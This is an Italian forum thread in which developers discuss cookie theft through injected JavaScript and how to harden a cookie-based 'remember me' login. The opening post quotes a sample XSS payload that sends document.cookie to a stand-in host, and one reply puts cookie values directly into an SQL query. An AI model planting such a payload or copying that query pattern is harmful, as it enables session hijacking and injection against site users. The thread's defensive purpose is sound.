Pagina 1 di 3 1 2 3 ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 28
  1. #1

    furto dei cookie e riutilizzo

    documentandomi un pò in giro ho capito che se un utente riesce ad immettere codice malevolo (prevalentemente js) all'interno di un mio sito ha la possibilità di "rubare" i cookie degli utenti che visualizzzano la pagina.
    Infatti js riesce a leggere i cookie dell'oggetto cookie e pertanto se, ad esempio, in un commento ad una news si riuscisse ad inserire una cosa di questo tipo:
    codice:
    <script>
    var manda_cookie_tramite_img = new Image();
    manda_cookie_tramite_img.src = "//furtocookie.com/?" + encodeURIcomponent(document.cookie);
    </script>
    il sito furtocookie.com otterra i cookie dell'utente che visita la mia pagina. Da qui:
    - necessita di filtrare gli input (strip_tags, htmlentities, etc etc)
    - non salvare dati sensibili nei cookies

    fin qui ci sono!!

    IL PROBLEMA:
    il mio sistema di login salva in un cookies l'username (in chiaro) e la password (criptata).
    all'accesso al mio sito se isset i due cookies e questi corrispondono a quelli del db risulta essere loggato.

    Ma poniamo il caso che malauguratamente un utente si impossessi sei due cookies sopra citati... può autoimpostarsi i cookie al suo browser e accedere cmq al mio sito spacciandosi per l'utente vittima del furto?
    se si come prevenire il problema (sempre utilizzando i cookie)?

  2. #2

    Re: furto dei cookie e riutilizzo

    Originariamente inviato da oly1982
    Ma poniamo il caso che malauguratamente un utente si impossessi sei due cookies sopra citati... può autoimpostarsi i cookie al suo browser e accedere cmq al mio sito spacciandosi per l'utente vittima del furto?
    Si

    Originariamente inviato da oly1982 se si come prevenire il problema (sempre utilizzando i cookie)?
    Del tutto non puoi, ma puoi migliorare la cosa con qualche accorgimento:
    • limita la durata dei cookie cosi' l'accesso rubato dopo un po' scade
    • non registrare nei cookie lo username in chiaro, registrane un hash (cosi' non puo' essere usato nella finestra di login)
    • non registrare mai la password, neanche se criptata, piuttosto per identificare l'utente registra nei cookie un identificatore (la versione hashata dello user magari con un salt) e un token (un codice unico generato a caso ogni volta che l'utente effettua il login): in questo modo non sveli nessuna informazione che possa essere usata per ottenere nuovamente l'accesso

  3. #3
    k.b docet...

  4. #4
    Usa le sessioni, evita di usare solo cookie.

  5. #5
    La questione interessa anche me.

    K.b rileggevo quello che hai scritto, ma mi è venuto un dubbio.



    # non registrare nei cookie lo username in chiaro, registrane un hash (cosi' non puo' essere usato nella finestra di login)
    # non registrare mai la password, neanche se criptata, piuttosto per identificare l'utente registra nei cookie un identificatore (la versione hashata dello user magari con un salt) e un token (un codice unico generato a caso ogni volta che l'utente effettua il login): in questo modo non sveli nessuna informazione che possa essere usata per ottenere nuovamente l'accesso

    Ponendo il caso di non salvare nel cookie l'username in chiaro, come è possibile salvarlo tramite hash e poi, al momento della visita da parte dello stesso utente sul sito, riconoscerlo in automatico?

    Parli di identificatore, user+salt hashato ma come fai poi a recuperare i dati dell'utente.

    Sarà la giornata, ma mi sono bloccato su sta cosa

    PS: Non è una critica, ma vorrei capire come farlo

  6. #6
    Utente di HTML.it L'avatar di bubi1
    Registrato dal
    Dec 2009
    Messaggi
    1,230
    Originariamente inviato da Samleo
    La questione interessa anche me.

    K.b rileggevo quello che hai scritto, ma mi è venuto un dubbio.






    Ponendo il caso di non salvare nel cookie l'username in chiaro, come è possibile salvarlo tramite hash e poi, al momento della visita da parte dello stesso utente sul sito, riconoscerlo in automatico?

    Parli di identificatore, user+salt hashato ma come fai poi a recuperare i dati dell'utente.

    Sarà la giornata, ma mi sono bloccato su sta cosa

    PS: Non è una critica, ma vorrei capire come farlo
    select from utenti where sha1(concat(username,salt)) = '$hash_da_cookie' and token='$token_da_cookie'

  7. #7
    Scusa, ma se io sniffo i cookie, e prelevo il cookie hashato e criptato, e poi provo a fare il login tramite cookie con quei dati sniffati, in teoria eseguo lo stesso il login no?

    Perchè tanto lui accetta i codici criptati.

    O forse ho capito male!

    Puoi essere più chiaro?

  8. #8
    Originariamente inviato da bubi1
    select from utenti where sha1(concat(username,salt)) = '$hash_da_cookie' and token='$token_da_cookie'
    non ci sono nemmeno io...
    che senso ha cryptare l'username??

    un utente ha 2 cookie username hashato e token (codice univoco, salvato nel db)
    se all'accesso sul mio sito se esistono i due cookies (faccio la tua query) e se i dati coincidono con quelli nel db => utente loggato
    a quel punto l'username è in chiaro "Benvenuto Tizio!" (con username in chiaro)

    Vorrei ricordare che il mio scopo con i cookie è evitare che ad ogni accesso l'utente debba rifare il login; mentre sono ben consapevole che con le sessioni molti di tali problemi non si vengono a verificare (in tal caso salvo in sessione l'id del record e un token chiamato 'loggato')

  9. #9
    Originariamente inviato da Samleo
    Scusa, ma se io sniffo i cookie, e prelevo il cookie hashato e criptato, e poi provo a fare il login tramite cookie con quei dati sniffati, in teoria eseguo lo stesso il login no?

    Perchè tanto lui accetta i codici criptati.

    O forse ho capito male!

    Puoi essere più chiaro?
    Non puoi fare il login con i dati criptati, perche' una pagina di login accetta solo dati in chiaro che POI cripta. Se uno si impossessa dei cookie non puoi impedirgli di accedere, ma - come dicevo - puoi limitare i danni dando una scadenza alla sessione (quindi niente cookie che durano per sempre) e non svelando nessun dato utile ad un futuro login.

  10. #10
    Le sessioni non risolvono niente perche' tanto il session id viene propagato tramite cookie.

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.